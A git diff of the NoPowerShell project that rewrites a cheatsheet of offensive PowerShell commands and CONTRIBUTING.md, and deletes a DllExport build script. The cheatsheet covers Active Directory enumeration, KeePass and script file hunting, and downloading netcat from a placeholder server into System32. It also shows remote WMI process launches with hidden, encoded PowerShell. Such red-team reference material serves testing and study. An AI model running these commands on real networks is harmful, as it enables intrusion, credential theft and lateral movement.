`Get-DnsClientCache -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | -| List cached DNS entries from a remote computer using WMI - Alternative | `Get-DnsClientCache -ComputerName MyServer` | -| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | -| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | -| Send ICMP request to host - Alternative | `tnc 1.1.1.1` | -| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | -| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | -| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | -| Check for open port | `tnc bitsadm.in -Port 80` | -| Show TCP connections on the local machine | `Get-NetTCPConnection` | -| Show TCP connections on the local machine - Alternative | `netstat` | -| Show TCP connections on a remote machine | `Get-NetTCPConnection -ComputerName MyServer` | -| List ARP table entries | `Get-NetNeighbor` | -| List ARP table entries - Alternative | `arp` | -| Show the IP routing table | `Get-NetRoute` | -| Show the IP routing table - Alternative | `route` | -| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | -| Show the IP routing table on a remote machine using WMI - Alternative | `route -ComputerName MyServer` | -| Show network interfaces | `Get-NetIPAddress` | -| Show network interfaces - Alternative | `ipconfig` | -| Show network interfaces - Alternative | `ifconfig` | -| Show all network interfaces | `Get-NetIPAddress -All` | -| Show all network interfaces - Alternative | `ipconfig -All` | -| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | -| Show all network interfaces on a remote machine using WMI - Alternative | `Get-NetIPAddress -All -ComputerName MyServer` | -| List SMB shares on the computer | `Get-SmbShare` | -| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | -| List network shares on the local machine that are exposed to the network - Alternative | `netuse` | -| Echo string to the console | `Write-Output "Hello World!"` | -| Echo string to the console - Alternative | `echo "Hello World!"` | -| Echo string to the console | `echo "Hello Console!"` | -| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string | `Write-Output "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | -| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string - Alternative | `echo "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | -| Count number of results | `Get-Process \| Measure-Object` | -| Count number of results - Alternative | `Get-Process \| measure` | -| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | -| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | -| Download file from the Internet - Alternative | `wget http://myserver.me/nc.exe` | -| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | -| Show only the Name in a file listing | `ls C:\ \| select Name` | -| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | -| Sort processes by name descending | `ps \| sort -d name` | -| Format output as a table | `Get-Process \| Format-Table` | -| Format output as a table - Alternative | `Get-Process \| ft` | -| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | -| Format output as a list | `Get-LocalUser \| Format-List` | -| Format output as a list - Alternative | `Get-LocalUser \| fl` | -| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | -| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | +# Cheatsheet +Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. + +| Action | Command | +| - | - | +| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | +| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | +| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | +| List trusts | `Get-ADTrust` | +| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | +| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | +| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | +| List all user groups in domain | `Get-ADGroup -Filter *` | +| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | +| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | +| List all members of the "Domain Admins" group - Alternative | `Get-ADGroupMember "Domain Admins"` | +| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | +| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | +| List all computers in domain | `Get-ADComputer -Filter *` | +| List domain controllers | `Get-ADComputer -searchBase "OU=Domain Controllers,DC=bitsadmin,DC=local" -Filter *` | +| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | +| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | +| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | +| List all users in domain | `Get-ADUser -Filter *` | +| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | +| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | +| Show the current user | `whoami` | +| Query sessions on local machine | `Get-WinStation` | +| Query sessions on a remote machine | `Get-WinStation -Server DC01.domain.local` | +| Query sessions on a remote machine - Alternative | `qwinsta DC01.domain.local` | +| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | +| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | +| Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | +| Extract zip into current directory | `unzip C:\MyArchive.zip` | +| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | +| Compress folder to zip - Alternative | `zip C:\MyFolder C:\MyFolder.zip` | +| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | +| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | +| Get help for a command | `Get-Help -Name Get-Process` | +| Get help for a command - Alternative | `man ps` | +| List all commands supported by NoPowerShell | `Get-Command` | +| List commands of a certain module | `Get-Command -Module ActiveDirectory` | +| Resolve domain name | `Resolve-DnsName microsoft.com` | +| Resolve domain name - Alternative | `host linux.org` | +| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | +| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | +| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | +| List all local groups | `Get-LocalGroup` | +| List details of a specific group | `Get-LocalGroup Administrators` | +| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | +| List members of Administrators group on a remote computer using WMI - Alternative | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | +| List all local users | `Get-LocalUser` | +| List details of a specific user | `Get-LocalUser -Name Administrator` | +| List details of a specific user - Alternative | `Get-LocalUser Administrator` | +| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | +| List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | +| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | +| Gracefully stop processes | `Stop-Process -Id 4512,7241` | +| Kill process | `Stop-Process -Force -Id 4512` | +| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | +| List processes | `Get-Process` | +| List processes - Alternative | `ps` | +| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | +| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | +| List drives | `Get-PSDrive` | +| List drives - Alternative | `gdr` | +| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | +| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | +| View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | +| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | +| Locate KeePass files in the C:\Users\ directory - Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | +| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | +| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.cmd,*.bat,*.ps1,*.psm1,*.psd1` | +| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | +| List local shares - Alternative | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | +| Get all hotfixes on the local computer | `Get-HotFix` | +| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | +| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | +| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | +| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | +| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | +| Put string on clipboard | `Set-Clipboard -Value "You have been PWNED!"` | +| Put string on clipboard - Alternative | `scb "You have been PWNED!"` | +| Clear the clipboard | `Set-Clipboard` | +| Place output of command on clipboard | `Get-Process \| Set-Clipboard` | +| Show current user's PATH variable | `Get-ItemPropertyValue -Path HKCU:\Environment -Name Path` | +| Show current user's PATH variable - Alternative | `gpv HKCU:\Environment Path` | +| Show information about the system | `Get-ComputerInfo` | +| Show information about the system - Alternative | `systeminfo` | +| Show information about the system not listing patches | `systeminfo -Simple` | +| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | +| Show text contents of clipboard | `Get-Clipboard` | +| Show text contents of clipboard - Alternative | `gcb` | +| List cached DNS entries on the local computer | `Get-DnsClientCache` | +| List cached DNS entries from a remote computer using WMI | `Get-DnsClientCache -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| List cached DNS entries from a remote computer using WMI - Alternative | `Get-DnsClientCache -ComputerName MyServer` | +| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | +| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | +| Send ICMP request to host - Alternative | `tnc 1.1.1.1` | +| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | +| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | +| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | +| Check for open port | `tnc bitsadm.in -Port 80` | +| Show TCP connections on the local machine | `Get-NetTCPConnection` | +| Show TCP connections on the local machine - Alternative | `netstat` | +| Show TCP connections on a remote machine | `Get-NetTCPConnection -ComputerName MyServer` | +| List ARP table entries | `Get-NetNeighbor` | +| List ARP table entries - Alternative | `arp` | +| Show the IP routing table | `Get-NetRoute` | +| Show the IP routing table - Alternative | `route` | +| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show the IP routing table on a remote machine using WMI - Alternative | `route -ComputerName MyServer` | +| Show network interfaces | `Get-NetIPAddress` | +| Show network interfaces - Alternative | `ipconfig` | +| Show network interfaces - Alternative | `ifconfig` | +| Show all network interfaces | `Get-NetIPAddress -All` | +| Show all network interfaces - Alternative | `ipconfig -All` | +| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show all network interfaces on a remote machine using WMI - Alternative | `Get-NetIPAddress -All -ComputerName MyServer` | +| List SMB shares on the computer | `Get-SmbShare` | +| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | +| List network shares on the local machine that are exposed to the network - Alternative | `netuse` | +| Echo string to the console | `Write-Output "Hello World!"` | +| Echo string to the console - Alternative | `echo "Hello World!"` | +| Echo string to the console | `echo "Hello Console!"` | +| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string | `Write-Output "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | +| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string - Alternative | `echo "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | +| Count number of results | `Get-Process \| Measure-Object` | +| Count number of results - Alternative | `Get-Process \| measure` | +| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | +| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | +| Download file from the Internet - Alternative | `wget http://myserver.me/nc.exe` | +| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | +| Show only the Name in a file listing | `ls C:\ \| select Name` | +| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | +| Sort processes by name descending | `ps \| sort -d name` | +| Format output as a table | `Get-Process \| Format-Table` | +| Format output as a table - Alternative | `Get-Process \| ft` | +| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | +| Format output as a list | `Get-LocalUser \| Format-List` | +| Format output as a list - Alternative | `Get-LocalUser \| fl` | +| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | +| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 0d78113..85d2084 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,40 +1,40 @@ -# Contributing - -Add your own cmdlets by submitting a pull request. -## Aim -- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems -- In case for whatever reason .NET 2.0 compatibility is not possible, add the `#if` preprocessor directive to the class specifying the unsupported .NET versions (for examples check the `*-Archive` cmdlets) - -## Instructions -Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. - -### Example usages -| Action | Command | -| - | - | -| Simply run with default values | `gtc` | -| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | -| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | -| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | -| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | -| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | -| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | - -Execute the following steps to implement your own cmdlet: -1. Download Visual Studio Community from https://visualstudio.microsoft.com/downloads/ - * In the installer select the **.NET desktop development** component. - * From this component no optional modules are required for developing NoPowerShell modules. -2. Make sure to have the .NET 2 framework installed: `OptionalFeatures.exe` -> '.NET Framework 3.5 (includes .NET 2.0 and 3.0)'. -3. Clone this repository and create a copy of the **TemplateCommand.cs** file. - * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. - * Moreover, use the name of the _Source_ attribute in the command's namespace. - * Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder and use `NoPowerShell.Commands.Management` namespace. - * In case it is a non-native command, place it in the **Additional** folder and use the `NoPowerShell.Commands.Additional` namespace. -4. Update the `TemplateCommand` classname and its constructor name. -5. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` -6. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. -7. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. -8. In the Execute function: - 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; - 2. Based on the parameters provided by the user, perform your actions; - 3. Make sure all results are stored in the `_results` variable. +# Contributing + +Add your own cmdlets by submitting a pull request. +## Aim +- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems +- In case for whatever reason .NET 2.0 compatibility is not possible, add the `#if` preprocessor directive to the class specifying the unsupported .NET versions (for examples check the `*-Archive` cmdlets) + +## Instructions +Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. + +### Example usages +| Action | Command | +| - | - | +| Simply run with default values | `gtc` | +| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | +| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | +| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | +| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | +| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | +| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | + +Execute the following steps to implement your own cmdlet: +1. Download Visual Studio Community from https://visualstudio.microsoft.com/downloads/ + * In the installer select the **.NET desktop development** component. + * From this component no optional modules are required for developing NoPowerShell modules. +2. Make sure to have the .NET 2 framework installed: `OptionalFeatures.exe` -> '.NET Framework 3.5 (includes .NET 2.0 and 3.0)'. +3. Clone this repository and create a copy of the **TemplateCommand.cs** file. + * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. + * Moreover, use the name of the _Source_ attribute in the command's namespace. + * Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder and use `NoPowerShell.Commands.Management` namespace. + * In case it is a non-native command, place it in the **Additional** folder and use the `NoPowerShell.Commands.Additional` namespace. +4. Update the `TemplateCommand` classname and its constructor name. +5. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` +6. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. +7. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. +8. In the Execute function: + 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; + 2. Based on the parameters provided by the user, perform your actions; + 3. Make sure all results are stored in the `_results` variable. 9. Remove all of the template sample code and comments from the file to keep the source tidy. \ No newline at end of file diff --git a/Source/DllExport.bat b/Source/DllExport.bat deleted file mode 100644 index 42452f6..0000000 --- a/Source/DllExport.bat +++ /dev/null @@ -1,469 +0,0 @@ -@echo off -:: Copyright (c) 2016-2019 Denis Kuzmin [ entry.reg@gmail.com ] -:: https://github.com/3F/DllExport -if "%~1"=="/?" goto bl -set "aa=%~dpnx0" -set ab=%* -set ac=%* -if defined ab ( -if defined __p_call ( -set ac=%ac:^^=^% -) else ( -set ab=%ab:^=^^% -) -) -set wMgrArgs=%ac% -set ad=%ab:!=^!% -setlocal enableDelayedExpansion -set "ae=^" -set "ad=!ad:%%=%%%%!" -set "ad=!ad:&=%%ae%%&!" -set "af=1.6.4" -set "wAction=Configure" -set "ag=DllExport" -set "ah=tools/net.r_eg.DllExport.Wizard.targets" -set "ai=packages" -set "aj=https://www.nuget.org/api/v2/package/" -set "ak=build_info.txt" -set "al=!aa!" -set "wRootPath=!cd!" -set "am=" -set "an=" -set "ao=" -set "ap=" -set "aq=" -set "ar=" -set "as=" -set "at=" -set "au=" -set /a av=0 -if not defined ab ( -if defined wAction goto bm -goto bl -) -call :bn bg !ad! bh -goto bo -:bl -echo. -@echo DllExport - v1.6.4.15293 [ f864a40 ] -@echo Copyright (c) 2009-2015 Robert Giesecke -@echo Copyright (c) 2016-2019 Denis Kuzmin [ entry.reg@gmail.com ] GitHub/3F -echo. -echo Licensed under the MIT license -@echo https://github.com/3F/DllExport -echo. -echo Based on hMSBuild and includes GetNuTool core: https://github.com/3F -echo. -@echo. -@echo Usage: DllExport [args to DllExport] [args to GetNuTool core] -echo ------ -echo. -echo Arguments: -echo ---------- -echo -action {type} - Specified action for Wizard. Where {type}: -echo * Configure - To configure DllExport for specific projects. -echo * Update - To update pkg reference for already configured projects. -echo * Restore - To restore configured DllExport. -echo * Export - To export configured projects data. -echo * Recover - To re-configure projects via predefined/exported data. -echo * Unset - To unset all data from specified projects. -echo * Upgrade - Aggregates an Update action with additions for upgrading. -echo. -echo -sln-dir {path} - Path to directory with .sln files to be processed. -echo -sln-file {path} - Optional predefined .sln file to be processed. -echo -metalib {path} - Relative path from PkgPath to DllExport meta library. -echo -dxp-target {path} - Relative path to entrypoint wrapper of the main core. -echo -dxp-version {num} - Specific version of DllExport. Where {num}: -echo * Versions: 1.6.0 ... -echo * Keywords: -echo `actual` - Unspecified local/latest remote version; -echo ( Only if you know what you are doing ) -echo. -echo -msb {path} - Full path to specific msbuild. -echo -packages {path} - A common directory for packages. -echo -server {url} - Url for searching remote packages. -echo -proxy {cfg} - To use proxy. The format: [usr[:pwd]@]host[:port] -echo -pkg-link {uri} - Direct link to package from the source via specified URI. -echo -force - Aggressive behavior, e.g. like removing pkg when updating. -echo -mgr-up - Updates this manager to version from '-dxp-version'. -echo -wz-target {path} - Relative path to entrypoint wrapper of the main wizard. -echo -pe-exp-list {module} - To list all available exports from PE32/PE32+ module. -echo -eng - Try to use english language for all build messages. -echo -GetNuTool {args} - Access to GetNuTool core. https://github.com/3F/GetNuTool -echo -debug - To show additional information. -echo -version - Displays version for which (together with) it was compiled. -echo -build-info - Displays actual build information from selected DllExport. -echo -help - Displays this help. Aliases: -help -h -echo. -echo ------ -echo Flags: -echo ------ -echo __p_call - To use the call-type logic when invoking %~nx0 -echo. -echo -------- -echo Samples: -echo -------- -echo DllExport -action Configure -echo DllExport -action Restore -sln-file "Conari.sln" -echo DllExport -proxy guest:1234@10.0.2.15:7428 -action Configure -echo DllExport -action Configure -force -pkg-link http://host/v1.6.1.nupkg -echo. -echo DllExport -build-info -echo DllExport -debug -restore -sln-dir ..\ -echo DllExport -mgr-up -dxp-version 1.6.1 -echo DllExport -action Upgrade -dxp-version 1.6.1 -echo. -echo DllExport -GetNuTool -unpack -echo DllExport -GetNuTool /p:ngpackages="Conari;regXwild" -echo DllExport -pe-exp-list bin\Debug\regXwild.dll -goto bp -:bo -set /a aw=0 -:bq -set ax=!bg[%aw%]! -if [!ax!]==[-help] ( goto bl ) else if [!ax!]==[-h] ( goto bl ) else if [!ax!]==[-?] ( goto bl ) -if [!ax!]==[-debug] ( -set am=1 -goto br -) else if [!ax!]==[-action] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wAction=!v! -for %%g in (Restore, Configure, Update, Export, Recover, Unset, Upgrade, Default) do ( -if "!v!"=="%%g" goto br -) -echo Unknown -action !v! -exit/B 1 -) else if [!ax!]==[-sln-dir] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wSlnDir=!v! -goto br -) else if [!ax!]==[-sln-file] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wSlnFile=!v! -goto br -) else if [!ax!]==[-metalib] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wMetaLib=!v! -goto br -) else if [!ax!]==[-dxp-target] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wDxpTarget=!v! -goto br -) else if [!ax!]==[-dxp-version] ( set /a "aw+=1" & call :bs bg[!aw!] v -set af=!v! -goto br -) else if [!ax!]==[-msb] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ao=!v! -goto br -) else if [!ax!]==[-packages] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ai=!v! -goto br -) else if [!ax!]==[-server] ( set /a "aw+=1" & call :bs bg[!aw!] v -set aj=!v! -goto br -) else if [!ax!]==[-proxy] ( set /a "aw+=1" & call :bs bg[!aw!] v -set at=!v! -goto br -) else if [!ax!]==[-pkg-link] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ap=!v! -goto br -) else if [!ax!]==[-force] ( -set ar=1 -goto br -) else if [!ax!]==[-mgr-up] ( -set as=1 -goto br -) else if [!ax!]==[-wz-target] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ah=!v! -goto br -) else if [!ax!]==[-pe-exp-list] ( set /a "aw+=1" & call :bs bg[!aw!] v -set aq=!v! -goto br -) else if [!ax!]==[-eng] ( -chcp 437 >nul -goto br -) else if [!ax!]==[-GetNuTool] ( -call :bt "accessing to GetNuTool ..." -for /L %%p IN (0,1,8181) DO ( -if "!ay:~%%p,10!"=="-GetNuTool" ( -set az=!ay:~%%p! -call :bu !az:~10! -set /a av=%ERRORLEVEL% -goto bp -) -) -call :bt "!ax! is corrupted: !ay!" -set /a av=1 -goto bp -) else if [!ax!]==[-version] ( -@echo v1.6.4.15293 [ f864a40 ] -goto bp -) else if [!ax!]==[-build-info] ( -set an=1 -goto br -) else if [!ax!]==[-tests] ( set /a "aw+=1" & call :bs bg[!aw!] v -set au=!v! -goto br -) else ( -echo Incorrect key: !ax! -set /a av=1 -goto bp -) -:br -set /a "aw+=1" & if %aw% LSS !bh! goto bq -:bm -call :bt "dxpName = " ag -call :bt "dxpVersion = " af -call :bt "-sln-dir = " wSlnDir -call :bt "-sln-file = " wSlnFile -call :bt "-metalib = " wMetaLib -call :bt "-dxp-target = " wDxpTarget -call :bt "-wz-target = " ah -if defined af ( -if "!af!"=="actual" ( -set "af=" -) -) -if z%wAction%==zUpgrade ( -call :bt "Upgrade is on" -set as=1 -set ar=1 -) -call :bv ai -set "ai=!ai!\\" -set "a0=!ag!" -set "wPkgPath=!ai!!ag!" -if defined af ( -set "a0=!a0!/!af!" -set "wPkgPath=!wPkgPath!.!af!" -) -if defined ar ( -if exist "!wPkgPath!" ( -call :bt "Removing old version before continue. '-force' key rule. " wPkgPath -rmdir /S/Q "!wPkgPath!" -) -) -set a1="!wPkgPath!\\!ah!" -call :bt "wPkgPath = " wPkgPath -if not exist !a1! ( -if exist "!wPkgPath!" ( -call :bt "Trying to replace obsolete version ... " wPkgPath -rmdir /S/Q "!wPkgPath!" -) -call :bt "-pkg-link = " ap -call :bt "-server = " aj -if defined ap ( -set aj=!ap! -if "!aj::=!"=="!aj!" ( -set aj=!cd!/!aj! -) -if "!wPkgPath::=!"=="!wPkgPath!" ( -set "a2=../" -) -set "a0=:!a2!!wPkgPath!|" -) -if defined ao ( -set a3=-msbuild "!ao!" -) -set a4=!a3! /p:ngserver="!aj!" /p:ngpackages="!a0!" /p:ngpath="!ai!" /p:proxycfg="!at!" -call :bt "GetNuTool call: " a4 -if defined am ( -call :bu !a4! -) else ( -call :bu !a4! >nul -) -) -if defined aq ( -"!wPkgPath!\\tools\\PeViewer.exe" -list -pemodule "!aq!" -set /a av=%ERRORLEVEL% -goto bp -) -if defined an ( -call :bt "buildInfo = " wPkgPath ak -if not exist "!wPkgPath!\\!ak!" 